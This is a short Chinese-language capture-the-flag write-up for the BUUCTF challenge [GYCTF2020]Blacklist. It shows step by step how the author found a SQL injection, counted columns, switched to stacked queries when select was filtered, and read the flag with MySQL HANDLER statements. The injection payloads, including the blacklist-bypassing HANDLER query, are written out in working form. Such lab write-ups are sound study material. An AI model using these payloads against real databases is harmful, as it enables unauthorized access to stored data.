buuctf-[GYCTF2020]Blacklist

这题我一开始还以为是rce,但是看到注入框内写了1,那就肯定是sql buuctf-[GYCTF2020]Blacklist_第1张图片

提交1

buuctf-[GYCTF2020]Blacklist_第2张图片

1' 报错,更加确定是sql

 1' order by 2 -- +buuctf-[GYCTF2020]Blacklist_第3张图片

说明是两列

1' union select 1,#

发现select被过滤了

buuctf-[GYCTF2020]Blacklist_第4张图片 这里我想起了之前做的强网杯的随便住,也是被过滤了,然后使用的堆叠注入

1';show tables -- +

buuctf-[GYCTF2020]Blacklist_第5张图片

 1'; show columns from FlagHere; -- +

获得列名buuctf-[GYCTF2020]Blacklist_第6张图片

后面不晓得了,才知道有handler语句

参考【MySQL】MySQL 之 handler 的详细使用及说明_mysql handler-CSDN博客

HANDLER可以通过指定的索引去访问数据。但此语法并不支持DML操作。

1'; HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#

HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

也就是通过HANDLERFlagHere表中,读取第一个索引记录,然后关闭

buuctf-[GYCTF2020]Blacklist_第7张图片

 

你可能感兴趣的:(sql,数据库)